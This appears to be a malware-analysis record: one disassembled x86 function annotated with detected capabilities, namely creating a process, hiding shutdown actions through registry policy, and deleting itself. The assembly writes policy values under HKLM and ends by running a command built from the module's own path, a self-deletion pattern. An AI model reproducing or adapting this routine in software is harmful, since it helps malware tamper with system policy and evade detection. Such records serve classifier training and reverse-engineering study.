Function at 0x100039c9
Capabilities:
Create process on windows
Hide shutdown actions via policy
Self delete

Disassembly:
mov eax, 0x10010764
call fcn.1000fed4
sub esp, 0x514
mov eax, 0x80000002
push ebx
push edi
mov dword [ebp - 0x1c], 0x1001127c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov edi, dword [fcn.10017298]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
mov ebx, 0xf003f
push ecx
push ebx
push 0
push 0x10015860
push eax
call edi
test eax, eax
jne 0x10003a15
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push esi
push 0x10015854
lea ecx, [ebp - 0x1c]
call fcn.10003c87
mov esi, 0x10015850
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
mov esi, dword [fcn.10017264]
push 1
push 0
push 0x10015848
push dword [ebp - 0x18]
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push 0x10015820
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10003a61
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push 0x10015814
lea ecx, [ebp - 0x1c]
call fcn.10003c87
lea eax, [ebp - 0x10]
push 4
push eax
push 4
push 0
push 0x10015800
push dword [ebp - 0x18]
mov dword [ebp - 0x10], 1
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push 0x100157c8
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10003ac4
mov eax, dword [ebp - 0x10]
push 0x10015850
mov dword [ebp - 0x18], eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push 0x10015850
push 1
push 0
push 0x100157b0
push dword [ebp - 0x18]
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push 0x1001577c
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10003af8
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push 0x10015770
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 1
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push 0x10015744
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10003b2c
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push 0x1001573c
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 2
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push 0x1001570c
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10003b60
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push 0x1001573c
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 2
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
xor ebx, ebx
push ebx
push 0x100156d8
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10003b90
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push ebx
push 0x100156c4
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], ebx
call esi
push 0x10015688
lea ecx, [ebp - 0x1c]
call fcn.10003cc4
test eax, eax
mov edi, 0xd3d
mov esi, 0x1001567c
je 0x10003bb5
push edi
push esi
lea ecx, [ebp - 0x1c]
call fcn.10003d0e
push 0x10015634
lea ecx, [ebp - 0x1c]
call fcn.10003cc4
test eax, eax
je 0x10003bd0
push edi
push esi
lea ecx, [ebp - 0x1c]
call fcn.10003d0e
push 0x100155f0
lea ecx, [ebp - 0x1c]
call fcn.10003cc4
test eax, eax
je 0x10003beb
push edi
push esi
lea ecx, [ebp - 0x1c]
call fcn.10003d0e
push 0x80000003
lea ecx, [ebp - 0x1c]
call fcn.10003c76
push 0x100155cc
lea ecx, [ebp - 0x1c]
call fcn.10003cc4
test eax, eax
pop esi
je 0x10003c1c
push 0x100155c8
push 0x100155c0
lea ecx, [ebp - 0x1c]
call fcn.10003d2e
lea ecx, [ebp - 0x1c]
call fcn.10003cf7
lea eax, [ebp - 0x120]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x520]
push 0x10015510
push eax
call dword [fcn.100173a8]
add esp, 0xc
lea eax, [ebp - 0x520]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 0xc]
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret